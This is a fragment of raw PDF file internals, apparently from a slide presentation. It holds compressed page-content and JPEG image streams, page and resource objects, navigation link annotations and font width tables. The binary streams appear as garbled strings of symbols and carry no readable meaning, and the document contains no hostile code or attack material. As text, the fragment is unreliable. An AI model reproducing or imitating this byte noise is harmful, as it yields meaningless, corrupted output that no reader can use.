|r&xr4ض.ɦ)kYr+ќ hGMA}z샜9f'lP>hi~^rOr +<3RSL#mI;~cbO֯OŅ*e*a Φ>Kk{̏iޅ}utOyTCػp<3 [UqxT+rwo2LҗPr{JyqϺr{^qYz\c#bGcX8!}1p" '!?& wf8qWX[q'!aMkϑ?2NhׯA^.Ӯ $3'V/_7Z@2쌸eq&Smey姱UGtO:ϐ3a,s$8 } elg;a&Α?d9zD˧,A [i,^K zD#|Tdfޠ;%_uxKivg(Q;n/aA:63ۋ(?"qfRkԱC 2rt Ŋc/$eL_ W(֐iѡ6C\/A ;?RdDlFq\y~NMȌxvɦd1 PE!FB™)}|Kb0Usꀁ;^f P;fxoƼxUXՉ݆c` /FH{})hH+>,'cN%K@kYHBRnߢ8хmD`4:xf}O!bp~@n(@K^a4f XYh&أӺѺxZצ1֍9%q_|kzɨu2JuO9Vxct}&2i&cN%@kj9 5i{ {> B<^biYӤ_Ox:ux;Ѿ@D3grWho CXfu )_C|>$uvqH=CXYѫ#duxBTrГoH˂H<7ȪH^Q3^ڱg%(qⴼ$ސ^QzM"ᥕxhiuϥ'|@!UȽ {r W!]ܛhi a ߩ7Eg"#S0kj\P.+|%ZWxKও:G-Q@-B*P8 Ӑ;KeSBl Pk"n` (vh!*soF4ZA M07ko'Sg琚z~ET|Зr7x98* LL9(@I!==io&Iۍ—SkN[-;ʩL*?~hX}k"\Ct{a)g/SΞvDOc3-x}|ۆ_P`oc;[+b;ƏªBQx!th!SJ2ŷ:a:*Q>L>.#\"0ֹ5VXH5VuLO<8 2]t o9R~t `(,ƿ9Sx­Tr9>w~|$t56Fם6FYd!Ǭ.PЖ6C 4fpڃtW4J7,^W?,b^dwN[ 6-i7J>82&ya`·m4FacN%ָ?uǛÙvhǙÑt6E%U! \p)^ꒉ.-ˈS{5ouaAyT3KSTHo|W>Q*fIf)KUt.%Ra::s)u]JeBPR zK0+6:ZNAyD$nEif$ƲcN$'k$U,_'tDhN&6ӛH)Uͮy3ɞC_-O" ٰ'u4IwM,K#uc7`lxEGw 5/Fx tkq76ޫ+ C4jx d5O!yqkggBB9?;9sLE*f둡61O1m{-r-KY endstream endobj 1203 0 obj << /Type /Page /Contents 1204 0 R /Resources 1202 0 R /MediaBox [0 0 362.835 272.126] /Trans << /S /R >> /Parent 1139 0 R /Annots [ 1174 0 R 1175 0 R 1176 0 R 1177 0 R 1178 0 R 1179 0 R 1180 0 R 1181 0 R 1182 0 R 1183 0 R 1184 0 R 1185 0 R 1186 0 R 1187 0 R 1188 0 R 1189 0 R 1190 0 R 1191 0 R 1192 0 R 1193 0 R 1194 0 R 1195 0 R 1196 0 R 1197 0 R 1198 0 R 1199 0 R 1200 0 R 1201 0 R ] >> endobj 1174 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 1175 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation26) >> >> endobj 1176 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 1177 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1178 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation26) >> >> endobj 1179 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation27) >> >> endobj 1180 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation27) >> >> endobj 1181 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1182 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1183 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1184 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1185 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1186 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1187 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1188 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1189 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1190 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1191 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1192 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 1193 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 1194 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 1195 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1196 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1197 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1198 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1199 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 259.104 363.831 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1200 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 253.713 363.831 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1201 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [181.43 -0.996 290.32 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1173 0 obj << /D [1203 0 R /XYZ 334.488 1.245 null] >> endobj 1206 0 obj << /D [1203 0 R /XYZ 334.488 1.245 null] >> endobj 1202 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F69 778 0 R /F66 559 0 R /F100 1205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 1238 0 obj << /Length 2407 /Filter /FlateDecode >> stream x]oݿbrx?Rg;ڻZvXRk}I׮%&EػrH!uÛ7|))y (+WN2!ms7km } o8B) O%vLo:vc\\*)&9%2)LpycFFXhۅkVcf[,[c'qљSNKuc;OߏGnJ栾ߢkJ Zpda MӮB`ШP÷ Sv}R3 28h{kr͈ l,N/O>-cř7u&}^1.".)RTO0g+pf~ώ1@stP̢>[3|V?]Mqs wHbx endstream endobj 1237 0 obj << /Type /Page /Contents 1238 0 R /Resources 1236 0 R /MediaBox [0 0 362.835 272.126] /Trans << /S /R >> /Parent 1139 0 R /Annots [ 1208 0 R 1209 0 R 1210 0 R 1211 0 R 1212 0 R 1213 0 R 1214 0 R 1215 0 R 1216 0 R 1217 0 R 1218 0 R 1219 0 R 1220 0 R 1221 0 R 1222 0 R 1223 0 R 1224 0 R 1225 0 R 1226 0 R 1227 0 R 1228 0 R 1229 0 R 1230 0 R 1231 0 R 1232 0 R 1233 0 R 1234 0 R 1235 0 R ] >> endobj 1207 0 obj << /Type /XObject /Subtype /Image /Width 206 /Height 221 /BitsPerComponent 8 /Length 8777 /ColorSpace /DeviceRGB /Filter /DCTDecode >> stream JFIFddDuckyDAdobed        !1AQaq"2BRbr#3$т CScs%!1AQ"a# ?@P( @P( @P( @P( @P|R,jI !@)$up4h @P( @P( AjnMwNv,Vj_<(agUdAM7^@wobo% ejI2!:& qdʕr?t,Dej>Pd!w^"()% O.>b&cXyA UkF@P( @P( ޻i'qn!A%:jHѾY#ѕ`97yW9ckuT\TQ.{rsq*)va+ֵ] ĂGS]q7:Ě"${y!9+[CZ=1"D['WGQ?RfS2?AЏuDFP(5͛Oɚ +C%zBh2@P( *Vv3$^PDpY~Bڛs%7Z.RE0s;c}Xqʓ8|2v6{UWYF)IBJBRrP[y<݈ĥ _\Fs^L)\ngARe* >jG]v#oj.kէ)[=~mij##KܲW+3 EJ+rSa+Bpe G^$X8/ 9vRR'@uSʿU[Ԁ҂]Y!GE+AQՅA ֹq%?)kGcNa{i{8o'c*DM4I\#^eT%_ݷs y$eKEzn_ "K,*[Hh; m6ԡ!7 TW@i:PT IY=Ex*Ȫj!bR`1 h97,[sTy)-ğK++*uAyp7f^"WsN8Y%faM׌ܙ)Pf|Xa,S?J'JQk<]XDY6s2+M\uG=LGT6&#t=1M-Lh<=Zk%J,xz U{Q\h$p! IDs\yq]qU%@APo};O<OV,|edi2O*h+~:pn6s$I{OUe@P[;#ʄZ?jȫi&´^:PP7h`6{6O/|[̇\w>5WįYI(>. h=Ng2Լ%ԩqF>CIy5*edjJ-hy@6)A兀N{6:keX 3rָij⬟e"LfCmEB@i_'o6/jR\2m%NW*@= jD{I)VPjS+lB{oDC97J\3vT?brTIh'Z{SQGFsx-L[.B^*QDI5d@2[Pc9%/n{cr\$nT|<=յ|J(367DBGi@Tq=IӿJO!Ǥ["`W1VxA>Ս5^ʿz^JzfߒAe*3"N愘l] Z\IӉ&{M-J+LhA<ڨ=-č z_+mt,wCr@ 77gP_}KY Adl6UvX?E/VQER!9 vQPU"ݴѫ~glm&k1MJ*y{=>Q5)+Kd m{v8AK3~g-pD6nNmT{TT %)H` -A>gN}j \H?^##{82=>MBpިAChA=PXW H'B`j2NcG^SnGKU8_Z^ 1{#J?+/ %VWSQ~mmx[m<\0ӖG}eԋij4 &Ya|~l-Vy tm)j-L+aZ|?Ɗ"9jMW:9>< QPP"UsaAλN]($6~Y3Q!(x'm-7glNǟq<IRnrQ8hyXb[MʻEAK0HR"1Y:Ƿ7o,>!,& rS$/uR|7GY=Eg#YO7KxL*(BPոI,`nw]d#(*>GH*BX,\xN~|$[zcVW- O)t]]\koHKy9i*`(5mzv3rS5 :-69ۅLĴ)J GkV5;.H*CeE6|O?XqW!"CGR|RǛ m&r9:AS#VVy5P+!>$`@7evݜ'&6! ފ8V+Jq n6W"G h9_LP 1'-(;ޣY gV?S% r-6ô޹}\{~.<}o.YvGQ&211x ZJP,eLd]>^GeeoVLĩ <ߩ~rnp*:FrHZ-~WUA߻3[G$m1U)k-,M:9@ma+ƑOU*mևnIybdžR5qԩ\׍SK2W S"]*.<]D3(~XH ^UW`(8L>Kgug= ,ZیJme!e8 m-TenzbZk knNj59 ̃dnIVVml-/mli,a-aI'Le_n+ZNG|t IMcT{#!TH{9*DdtQyU"HA=1 lN:NHVd7xrQ*H>rB4P"o5WԹTZ}U&/Kdd EP{I b5q:lnJCyl`oy8GDX߾,lM~TT̨r$c-#Ie\Ө(Z}$UH7I7,vEü╅̄&K$ FA,k:1ҬWMjYx#U?1[[o6 pяc[ ĊJ?j:GRh8QS/ "-Q  %* {ihkP(9!D3ny|S ˈ6Q.*"Y`4A$s:v%㚝D!#N'R_zq6|ng) @51I_+=V $ PenMۄVmls!B:,2*K6"+M/%OŰSor炏 ֵ$uA l898AEflWtv,J8 OU;Oh-[D`HO7 5H_ENzƂqkepQ|tɖ|DQ欝tEmmiRYBA.bwts&U jRzDImA.N{B0wBlab (PRxr5jo^Eh/%(ID_/|v O7bjb(Tj +ܵ$7祡+?3!#ǛZ,u326;?!6M;Ñ*A}7p+Wq|I(,ZH&3lQ:;($jTOj \)Yv ]"\OqQ sRVۭ J[m.2opi&0Un54$HUTЊBzVC NK)5ȩ\hj7(> ה5="+6ꎭoA! q$: Ó %I?IO录(GQzMv$͙ NcM&:]hHR!Jz,-Zy)+I!IP<"ƪ)n% A8AAsiP|ϰ7G`o &ĥ.LnkLp$mŤavM:)CM6Ϛh!H#%6)#}֢2nn\m*.IXHK#ku!5 }Uwg=ZGj5݁ymLZXKAOiҬƥҒtU6)w\3$R"Tpׁ򎯯ˌLRfy%qW?cz(;=?ݸ(Ӥv(ayG[s)[+93m+ &FBѾO9SmL1YD!w{/jťD( w[w4UvnLvqϧδYE-qDžA(h$P_%6Ԃ0TO28P+i>UqI֊?]{=Yp09b,Tmڤ)i'PiRƵD(@Q}%} 8)0b_n$!iTRDMٝde=ր>(|LҊ9Hޓ?[U9-FɾLu nZy <,)UW[a }MA@pr1V{Y6NuuoJ֟G0* QAwm5u=c9x@*?i_$jAuo8 AY65ʁ@P((fmKtqy$ Ҵ(j}Z%M7n(]I6A…jQڛmKr&I<͌ 81(9rR[CO-Ab`ab+07ö)PiO=oQ[@P( @P( G7k' v{md$id_MY6%N&N9Kh\q<|yP`DJf1β{XmZTeIIZ(06SWƶ؎n,ݽjnF\ߕJAYz@P( @P(#Ӯ2:SɰHbH cKXstxUF=~|:EC|İ%QHqB:N6ŽdJ2tBrbvFCKsCH$^e%ExSzcxJx yfeM{7!q_b6NWe&5˝818Xl<@m=XN( @P( @:[1-*ɴ7(IBnx>>LgYRu Tb=k!; 7k Y\eicT<[)"3]cT0Wq&Z%8+l9ZGʥ%@<5BA @P( @P(ׯE7j~ֱ9\D'WTuV$kރLlg3Fs۽?1cˊiAаBGaQA ňe-#\>_Ԭ+Ju 2yR՞t]~qawیt!̮~%ؓ(CǍ|XuAyKtn_j.PkVǝW⥫.j@P( @P( E4wNwյg,in$x,ablTX!q0߹BGPD~)vfFUzZ>֖}1m6tڸfD3r;O"E@P( @P( @P( @P( @P(? endstream endobj 1208 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 1209 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation27) >> >> endobj 1210 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 1211 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1212 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation27) >> >> endobj 1213 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1214 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1215 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1216 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1217 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1218 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1219 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1220 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1221 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1222 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1223 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1224 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1225 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1226 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 1227 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 1228 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 1229 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1230 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1231 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1232 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1233 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 259.104 363.831 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1234 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 253.713 363.831 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1235 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [181.43 -0.996 290.32 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 114 0 obj << /D [1237 0 R /XYZ 334.488 1.245 null] >> endobj 1239 0 obj << /D [1237 0 R /XYZ 334.488 1.245 null] >> endobj 1236 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F56 205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Fm21 854 0 R /Im7 118 0 R /Im10 1207 0 R >> /ProcSet [ /PDF /Text /ImageC ] >> endobj 1 0 obj <<>> endobj 2 0 obj <<>> endobj 1240 0 obj [525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525] endobj 1241 0 obj [525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525] endobj 1242 0 obj [1027.8] endobj 1243 0 obj [339.3] endobj 1244 0 obj [892.9] endobj 1245 0 obj [531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3] endobj 1246 0 obj [777.8 777.8 777.8 777.8 777.8 777.8 777.8 777.8 1000 1000 777.8 777.8 1000 1000 500 500 1000 1000 1000 777.8 1000 1000 611.1 611.1 1000 1000 1000 777.8 275 1000 666.7 666.7 888.9 888.9 0 0 555.6 555.6 666.7 500 722.2 722.2 777.8 777.8 611.1 798.5 656.8 526.5 771.4 527.8 718.7 594.9 844.5 544.5 677.8 762 689.7 1200.9 820.5 796.1 695.6 816.7 847.5 605.6 544.6 625.8 612.8 987.8 713.3 668.3 724.7 666.7 666.7 666.7 666.7 666.7 611.1 611.1 444.4 444.4 444.4 444.4 500 500 388.9 388.9 277.8] endobj 1247 0 obj [550 550 550 550 733.3 488.9 565.3 794.5 855.6 550 947.2 1069.5 855.6 255.6 366.7 558.3 916.7 550 1029.1 830.6 305.6 427.8 427.8 550 855.6 305.6 366.7 305.6 550 550 550 550 550 550 550 550 550 550 550 305.6 305.6 366.7 855.6 519.4 519.4 733.3 733.3 733.3 702.8 794.5 641.7 611.1 733.3 794.5 330.6 519.4 763.9 580.6 977.8 794.5 794.5 702.8 794.5 702.8 611.1 733.3 763.9 733.3 1038.9 733.3 733.3 672.2 343.1 558.3 343.1 550 305.6 305.6 525 561.1 488.9 561.1 511.1 336.1 550 561.1 255.6 286.1 530.6 255.6 866.7 561.1 550 561.1 561.1 372.2 421.7 404.2 561.1 500 744.4 500 500 476.4] endobj 1248 0 obj [525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525] endobj 1249 0 obj [556.1 652.8 686.3 266.2 459.5 674.2 528.9 849.5 686.3 722.2 622.7 722.2 630.2 544 667.8 666.7 647 919 647 647 598.4 283 489.6 283 489.6 272 272 468.7 502.3 435.2 502.3 435.2 299.2 489.6 502.3 230.3 257.5 475.1 230.3 774.3 502.3 489.6 502.3 502.3 332.8 375.3 353.6 502.3 447.9 665.5 447.9 447.9] endobj 1250 0 obj [550.9 550.9 836.4 836.4 245.4 273.9 513.9 513.9 513.9 513.9 513.9 686.7 456.8 493.8 742.3 799.4 513.9 885.8 1000 799.4 245.4 325.6 513.9 856.5 513.9 856.5 779.3 285.5 399.7 399.7 513.9 799.4 285.5 342.6 285.5 513.9 513.9 513.9 513.9 513.9 513.9 513.9 513.9 513.9 513.9 513.9 285.5 285.5 325.6 799.4 485.3 485.3 685.2 686.7 686 656.6 743 617.3 588.7 685.2 726.8 287 486.1 715.3 560.2 898.1 726.8 759.3 657.4 759.3 665.9 571 702.2 706.8 686.7 972.2 686.7 686.7 628.1 298.6 513.9 298.6 513.9 285.5 285.5 493.8 530.9 456.8 530.9 456.8 314 513.9 530.9 245.4 273.9 502.3 245.4 816.3 530.9 513.9 530.9 530.9 351.1 394 371.1 530.9 473.8 702.2 473.8] endobj 1251 0 obj [583.3 536.1 536.1 813.9 813.9 238.9 266.7 500 500 500 500 500 666.7 444.4 480.6 722.2 777.8 500 861.1 972.2 777.8 238.9 319.4 500 833.3 500 833.3 758.3 277.8 388.9 388.9 500 777.8 277.8 333.3 277.8 500 500 500 500 500 500 500 500 500 500 500 277.8 277.8 319.4 777.8 472.2 472.2 666.7 666.7 666.7 638.9 722.2 597.2 569.4 666.7 708.3 277.8 472.2 694.4 541.7 875 708.3 736.1 638.9 736.1 645.8 555.6 680.6 687.5 666.7 944.5 666.7 666.7 611.1 288.9 500 288.9 500 277.8 277.8 480.6 516.7 444.4 516.7 444.4 305.6 500 516.7 238.9 266.7 488.9 238.9 794.4 516.7 500 516.7 516.7 341.7 383.3 361.1 516.7 461.1 683.3 461.1 461.1 434.7] endobj 1252 0 obj [333.3 277.8 500 500 500 500 500 500 500 500 500 500 500 277.8 277.8 319.4 777.8 472.2 472.2 666.7 666.7 666.7 638.9 722.2 597.2 569.4 666.7 708.3 277.8 472.2 694.4 541.7 875 708.3 736.1 638.9 736.1 645.8 555.6 680.6 687.5 666.7 944.5 666.7 666.7 611.1 288.9 500 288.9 500 277.8 277.8 480.6 516.7 444.4 516.7 444.4 305.6 500 516.7 238.9 266.7 488.9 238.9 794.4 516.7 500 516.7 516.7 341.7 383.3 361.1 516.7 461.1 683.3] endobj 1253 0 obj [571.2 523.1 523.1 795.1 795.1 230.3 257.5 489.6 489.6 489.6 489.6 489.6 647 435.2 468.7 707.2 761.6 489.6 840.3 949.1 761.6 230.3 311.3 489.6 816 489.6 816 740.7 272 380.8 380.8 489.6 761.6 272 326.4 272 489.6 489.6 489.6 489.6 489.6 489.6 489.6 489.6 489.6 489.6 489.6 272 272 311.3 761.6 462.4 462.4 652.8 647 649.9 625.6 704.3 583.3 556.1 652.8 686.3 266.2 459.5 674.2 528.9 849.5 686.3 722.2 622.7 722.2 630.2 544 667.8 666.7 647 919 647 647 598.4 283 489.6 283 489.6 272 272 468.7 502.3 435.2 502.3 435.2 299.2 489.6 502.3 230.3 257.5 475.1 230.3 774.3 502.3 489.6 502.3 502.3 332.8 375.3 353.6 502.3 447.9 665.5 447.9 447.9 424.8] endobj 1254 0 obj [354.2 295.1 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 295.1 295.1 336.8 826.4 501.7 501.7 708.3 708.3 708.3 678.8 767.4 637.2 607.6 708.3 750 295.1 501.7 737.9 578.1 927.1 750 784.7 678.8 784.7 687.5 590.3 725.7 729.2 708.3 1003.5 708.3 708.3 649.3 309 531.3 309 531.3 295.1 295.1 510.4 548.6 472.2 548.6 472.2 324.7 531.3 548.6 253.5 283 519.1 253.5 843.8 548.6 531.3 548.6 548.6 362.9 407.3 383.7 548.6] endobj 1255 0 obj [619.8 569.5 569.5 864.6 864.6 253.5 283 531.3 531.3 531.3 531.3 531.3 708.3 472.2 510.4 767.4 826.4 531.3 914.9 1033 826.4 253.5 336.8 531.3 885.4 531.3 885.4 805.6 295.1 413.2 413.2 531.3 826.4 295.1 354.2 295.1 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 295.1 295.1 336.8 826.4 501.7 501.7 708.3 708.3 708.3 678.8 767.4 637.2 607.6 708.3 750 295.1 501.7 737.9 578.1 927.1 750 784.7 678.8 784.7 687.5 590.3 725.7 729.2 708.3 1003.5 708.3 708.3 649.3 309 531.3 309 531.3 295.1 295.1 510.4 548.6 472.2 548.6 472.2 324.7 531.3 548.6 253.5 283 519.1 253.5 843.8 548.6 531.3 548.6 548.6 362.9 407.3 383.7 548.6 489.6 725.7 489.6 489.6 461.8 531.3] endobj 